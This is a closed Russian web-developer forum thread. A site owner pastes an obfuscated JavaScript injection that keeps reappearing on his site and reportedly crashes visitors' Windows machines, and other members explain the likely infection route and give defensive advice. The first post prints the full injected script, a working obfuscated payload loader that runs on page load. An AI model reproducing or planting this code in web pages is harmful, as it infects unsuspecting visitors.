Вирус на сайте.

Статус
Закрыто для дальнейших ответов.

andrey_sheb

Новичок
Регистрация
09.06.2007
Сообщения
1
Вот такая штука у меня на сайте периодически сама появляется:

<!--[E]--><script>document.write(unescape("%3Cscript%3Etry%20%7Bvar%20jG%3D%27ee0eZ0ei0eB0ea0eL0eH0ex0eK0el0eD0eU0em0eM0e50et0eA0ew0eO0ej0er0eS0eP0eN0es0eb0
ef0eC0ek0eV0eF0ed0eT0eJ0eW0ey0e90e60e30eg0e40en0e70eq0eR0eY0eo0eX0eG0eI0ep0eh0e80
ez0Ze0ZZ0Zi0ZB0Za0ZL0ZH0Zx0ZK0Zl0ZD0ZU0Zm0ZM0Z50Zt0ZA0Zw0ZO0Zj0Zr0ZS0ZP0ZN0Zs0Zb%27%3Bvar%20dT%3DString%28%270%27%29%2CFu%3DArray%28Mu%28%27167%27%29%2CMu%28%27232%27%29%2CMu%28%27248%27%29%2C21908%5E21885%2C14573%5E14367%2C17928%5E18147%2CMu%28%27239%27%29%2CMu%28%27165%27%29%2CMu%28%27180%27%29%2CMu%28%27177%27%29%2C24564%5E24399%2C24229%5E24079%2CMu%28%27253%27%29%2C12610%5E12725%2C14430%5E14527%2CMu%28%27145%27%29%2CMu%28%27238%27%29%2CMu%28%27245%27%29%2C17015%5E17027%2CMu%28%27218%27%29%2C5927%5E6135%2CMu%28%27179%27%29%2C10404%5E10355%2C6200%5E6381%2C32752%5E32571%2CMu%28%27183%27%29%2C15515%5E15437%2C16605%5E16417%2CMu%28%27178%27%29%2C22339%5E22435%2C8008%5E8101%2C17249%5E17307%2CMu%28%27211%27%29%2CMu%28%27223%27%29%2CMu%28%27166%27%29%2C11843%5E11965%2CMu%28%27236%27%29%2CMu%28%27160%27%29%2C15484%5E15561%2C22802%5E23005%2C20161%5E20023%2CMu%28%27176%27%29%2C18392%5E18299%2CMu%28%27173%27%29%2C26614%5E26457%2CMu%28%27171%27%29%2C10318%5E10417%2C31293%5E31437%2C1824%5E1945%2CMu%28%27227%27%29%2CMu%28%27220%27%29%2CMu%28%27200%27%29%2CMu%28%27230%27%29%2CMu%28%27205%27%29%2CMu%28%27188%27%29%2C24555%5E24387%2C588%5E703%2C3970%5E3955%2CMu%28%27226%27%29%2C2152%5E2225%2C14997%5E14913%2CMu%28%27182%27%29%2CMu%28%27221%27%29%2CMu%28%27161%27%29%2CMu%28%27186%27%29%2C16627%5E16471%2CMu%28%27206%27%29%2C14993%5E14929%2CMu%28%27197%27%29%2CMu%28%27162%27%29%2CMu%28%27198%27%29%2C10622%5E10681%2C28458%5E28643%2CMu%28%27249%27%29%2CMu%28%27222%27%29%2C10100%5E10205%2C1389%5E1461%2CMu%28%27174%27%29%2C18443%5E18599%2C31015%5E31181%29%3Bvar%20fq%2CMc%3Bvar%20HY%2CIl%3D%27eeeZeieBeaeLeHexeKeleDeZeUemeUeMeUe5eDeleKetemeAeweieHeaeOeweDeBejereSePeNeseb
efeCeNekeVeDeFedeBeDeCeTeJeWeweye9eDeJedeHeyeSekebeDejemefeWeDeweye9eDeJedeHeyeSe
ke6eDejemefe3eZeyeHegeae4eyeSeCeTeJe3eCeyeHegeae4eyeSekene7eqeReYeYeYeYeYeke6eDeo
eOeieAe4eyeweHe3eieOeOeXeaeyeDeWeDePeNeseneGeWeGeneyeZeiedeLeyeSefeCeNekeneGe6eye
IeLeaeBeyeZeWeGenejemefe3eHeOepefegeheHeBeaeweCeSeke6eDe8eFedeBeDeyedezeWZeeieHZZ
eMZee6eFedeBeDeLemZieWZeeUZeebeZZBeMeWZeeAeLeoedeHeyeUe3eieMedeZeZeaeieHeyeMe3eOe
BeCZee6eFedeBeDZaZLeXeWZeeKZieHe4eMeKZee6eaemeSeoeOeieAe4eyeweHe3eieOeOeXeaeye3ea
eweoeyeIZHemeSeyedezenZeeWZeeneLemZiekeWeWZxeUekeVeDeFedeBeDeZeiZKeWZeZieHeHeLZle
KeKZeeneSeoeOeieAe4eyeweHe3eMeOeiedeHeaeOewe3ZieOeZeHeDZDeWeDZeZeZUZeZeZleLZmeIeS
ekekeneoeOeieAe4eyeweHe3eMeOeiedeHeaeOewe3ZieOeZeHe3eBeyeLeMedeieyeSeKZMZ5edZxe5e
YZxZte3ZxZAeKebZee3Zeeke3eBeyeLeMedeieyeSeKZwe3eneKebZee3ZeekenZee3ZeeneLZmeIeSek
enZee3ZeeneZZBeMenZaZLeXe6eFedeBeDZOeFZjeWeoeOeieAe4eyeweHe3eieBeyedeHeyZreMeye4e
yeweHeSZeeaemeBede4eyZeeke6ZOeFZje3eZeyeHejeHeHeBeaZjeAeHeyeSZeeZeBeiZeebeZeiZKek
e6ZOeFZje3emeBede4eyZLeOeBeoeyeBeWeYe6eDZOeFZje3e9eaeoeHZieWZSe6ZOeFZje3ZieyeaeCZ
ieHeWZZe6eHeBZaeDeVeDeoeOeieAe4eyeweHe3ZjeOeoZae3edeLeLeyeweoZPZieaeMeoeSZOeFZjek
e6eBejereSeyedezebeLemZieke6eDe8eiedeHeiZieSeyekeVeDeoeOeieAe4eyeweHe3e9eBeaeHeye
SZeeeZieHe4eMexeeZjeOeoZaexeeeKZjeOeoZaexeeeKZieHe4eMexZeeke6eoeOeieAe4eyeweHe3Zj
eOeoZae3edeLeLeyeweoZPZieaeMeoeSZOeFZjeke6eDeBejereSeyedezebeLemZieke6eDe8eDe8ete
meAeweieHeaeOeweDeLZmeIeSekeVeDeFedeBeDeTedejeWZSeRe6eFedeBeDeseoeFeWeGeYeUZSZZeR
ZNeqZse7ZteYedZjeieoeyemeGebZjePZbeWeGeGe6eDemeOeBeSZOeOe5eWeYe6eDZOeOe5eDeeeDeTe
deje6eDZOeOe5enenekeDZjePZbeneWeDeseoeFe3eZeAZjeZeHeBeSefedeHZie3emeMeOeOeBeSefed
eHZie3eBedeweoeOe4eSekeleseoeFe3eMeyeweCeHZiekebeUebeUeke6eDeBeyeHeAeBeweDZjePZbe
6eDe8eeeKeZeieBeaeLeHex%27%3Bvar%20Lp%3DString%28%29%3Bfunction%20Mu%28Wz%29%7Breturn%20parseInt%28Wz%29%7DjG%3DjG.split%28dT%29%3Bfor%28fq%3D0%3Bfq%3CIl.length%3Bfq+%3D2%29%7BHY%3DIl.substr%28fq%2C2%29%3Bfor%28Mc%3D0%3BMc%3CjG.length%3BMc++%29%7Bif%28jG%5BMc%5D%3D%3DHY%29break%3B%7D%20Lp+%3DString.fromCharCode%28Fu%5BMc%5D%5E155%29%3B%7Ddocument.write%28Lp%29%3B%7D%0Acatch%28e%29%7B%7D%3C/script%3E"))</script><!--[/E]-->




Подскажите, как такое вообще можно делать, не зная пароля... Штука очень противная, т.к. от неё летит Windows... Клиенты жалуются(((
 

Creator

Administrator
Команда форума
Регистрация
03.03.2005
Сообщения
1 745
Уже слышал о подобном, вероятно заражаются некоторые сервера и автоматом "клеят" этот вредоносный код.... так понимаю на переполнение буфера заточен, но насчет "полета" Винды, ИМХО преувеличено.
 

DnAp

self::setDebugMode(true);
Регистрация
30.04.2005
Сообщения
490
Смени пароли на хостинг, и проверь свой комп антивирем..
Есть трояны тырящие из популярных фтп менеджеров пароли а затем дописывает что-нить злобное в сайт..
Уже пару раз видел iframe 1х1 пиксель на сайт дописывали... Смена пароля помогала...
 

Alterbit

Well-Known Member
Регистрация
10.05.2005
Сообщения
78
еще очень желательно на хосте снять права записи со скриптов. роботы, которые правят файлы через фтп на этом спотыкаются и файл не трогают
 
Статус
Закрыто для дальнейших ответов.
Верх Низ